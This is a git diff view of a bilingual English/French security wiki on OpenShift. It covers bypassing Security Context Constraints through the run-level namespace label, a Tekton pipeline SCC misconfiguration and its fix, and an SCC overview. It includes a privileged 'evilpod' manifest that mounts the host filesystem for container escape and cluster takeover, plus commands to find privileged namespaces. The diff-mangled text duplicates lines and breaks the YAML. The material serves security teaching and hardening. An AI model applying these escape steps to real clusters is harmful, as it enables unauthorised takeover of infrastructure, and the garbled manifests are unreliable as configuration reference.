$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Pour créer un espace de noms avec l'étiquette via un fichier YAML :
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Maintenant, tous les nouveaux pods créés dans l'espace de noms ne devraient avoir aucun SCC
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
En l'absence de SCC, il n'y a aucune restriction sur la définition de votre pod. Cela signifie qu'un pod malveillant peut être facilement créé pour s'échapper sur le système hôte.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Maintenant, il est devenu plus facile d'escalader les privilèges pour accéder au système hôte et par la suite prendre le contrôle de l'ensemble du cluster, obtenant des privilèges 'cluster-admin'. Recherchez la partie **Node-Post Exploitation** dans la page suivante :
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Étiquettes personnalisées
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
De plus, en fonction de la configuration cible, certaines étiquettes / annotations personnalisées peuvent être utilisées de la même manière que le scénario d'attaque précédent. Même si ce n'est pas prévu, les étiquettes pourraient être utilisées pour donner des permissions, restreindre ou non une ressource spécifique.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Essayez de rechercher des étiquettes personnalisées si vous pouvez lire certaines ressources. Voici une liste de ressources intéressantes :
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Lister tous les espaces de noms privilégiés
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
## Exploit avancé
|
||||
|
||||
## Advanced exploit
|
||||
Dans OpenShift, comme démontré précédemment, avoir la permission de déployer un pod dans un espace de noms avec l'étiquette `openshift.io/run-level` peut conduire à une prise de contrôle directe du cluster. Du point de vue des paramètres du cluster, cette fonctionnalité **ne peut pas être désactivée**, car elle est inhérente à la conception d'OpenShift.
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
Cependant, des mesures d'atténuation comme **Open Policy Agent GateKeeper** peuvent empêcher les utilisateurs de définir cette étiquette.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Pour contourner les règles de GateKeeper et définir cette étiquette pour exécuter une prise de contrôle du cluster, **les attaquants devraient identifier des méthodes alternatives.**
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,79 +1,71 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**L'auteur original de cette page est** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### Qu'est-ce que tekton
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
Selon la documentation : _Tekton est un cadre open-source puissant et flexible pour créer des systèmes CI/CD, permettant aux développeurs de construire, tester et déployer sur des fournisseurs de cloud et des systèmes sur site._ Jenkins et Tekton peuvent être utilisés pour tester, construire et déployer des applications, cependant Tekton est Cloud Native. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Avec Tekton, tout est représenté par des fichiers YAML. Les développeurs peuvent créer des Ressources Personnalisées (CR) de type `Pipelines` et spécifier plusieurs `Tasks` qu'ils souhaitent exécuter. Pour exécuter une ressource Pipeline, des ressources de type `PipelineRun` doivent être créées.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Lorsque tekton est installé, un compte de service (sa) appelé pipeline est créé dans chaque namespace. Lorsqu'un Pipeline est exécuté, un pod sera généré en utilisant ce sa appelé `pipeline` pour exécuter les tâches définies dans le fichier YAML.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Les capacités du compte de service Pipeline
|
||||
|
||||
Par défaut, le compte de service pipeline peut utiliser la capacité `pipelines-scc`. Cela est dû à la configuration par défaut globale de tekton. En fait, la configuration globale de tekton est également un YAML dans un objet openshift appelé `TektonConfig` qui peut être vu si vous avez des rôles de lecteur dans le cluster.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
Dans n'importe quel espace de noms, si vous pouvez obtenir le jeton de compte de service de pipeline, vous pourrez utiliser `pipelines-scc`.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### La mauvaise configuration
|
||||
|
||||
Le problème est que le scc par défaut que le sa de pipeline peut utiliser est contrôlable par l'utilisateur. Cela peut être fait en utilisant une étiquette dans la définition de l'espace de noms. Par exemple, si je peux créer un espace de noms avec la définition yaml suivante :
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
L'opérateur tekton donnera au compte de service de pipeline dans `test-namespace` la capacité d'utiliser le scc privileged. Cela permettra le montage du nœud.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### La solution
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
Les documents Tekton sur la façon de restreindre l'override de scc en ajoutant une étiquette dans l'objet `TektonConfig`.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Cette étiquette s'appelle `max-allowed` 
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**L'auteur original de cette page est** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Définition
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
Dans le contexte d'OpenShift, SCC signifie **Security Context Constraints**. Les Security Context Constraints sont des politiques qui contrôlent les permissions pour les pods exécutés sur les clusters OpenShift. Elles définissent les paramètres de sécurité sous lesquels un pod est autorisé à s'exécuter, y compris les actions qu'il peut effectuer et les ressources auxquelles il peut accéder.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
Les SCC aident les administrateurs à appliquer des politiques de sécurité à travers le cluster, garantissant que les pods s'exécutent avec des permissions appropriées et respectent les normes de sécurité organisationnelles. Ces contraintes peuvent spécifier divers aspects de la sécurité des pods, tels que :
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Capacités Linux : Limiter les capacités disponibles pour les conteneurs, comme la capacité d'effectuer des actions privilégiées.
|
||||
2. Contexte SELinux : Appliquer des contextes SELinux pour les conteneurs, qui définissent comment les processus interagissent avec les ressources sur le système.
|
||||
3. Système de fichiers racine en lecture seule : Empêcher les conteneurs de modifier des fichiers dans certains répertoires.
|
||||
4. Répertoires et volumes hôtes autorisés : Spécifier quels répertoires et volumes hôtes un pod peut monter.
|
||||
5. Exécuter en tant que UID/GID : Spécifier les identifiants d'utilisateur et de groupe sous lesquels le processus du conteneur s'exécute.
|
||||
6. Politiques réseau : Contrôler l'accès réseau pour les pods, comme restreindre le trafic sortant.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
En configurant les SCC, les administrateurs peuvent s'assurer que les pods s'exécutent avec le niveau approprié d'isolement de sécurité et de contrôles d'accès, réduisant ainsi le risque de vulnérabilités de sécurité ou d'accès non autorisé au sein du cluster.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
Fondamentalement, chaque fois qu'un déploiement de pod est demandé, un processus d'admission est exécuté comme suit :
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Cette couche de sécurité supplémentaire interdit par défaut la création de pods privilégiés, le montage du système de fichiers hôte, ou la définition d'attributs pouvant conduire à une élévation de privilèges.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Liste SCC
|
||||
|
||||
Pour lister tous les SCC avec le client Openshift :
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,35 +37,26 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Tous les utilisateurs ont accès aux SCC par défaut "**restricted**" et "**restricted-v2**" qui sont les SCC les plus stricts.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Utiliser SCC
|
||||
|
||||
Le SCC utilisé pour un pod est défini à l'intérieur d'une annotation :
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Lorsque un utilisateur a accès à plusieurs SCC, le système utilisera celui qui correspond aux valeurs de contexte de sécurité. Sinon, cela déclenchera une erreur interdite.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
## Contournement de SCC
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user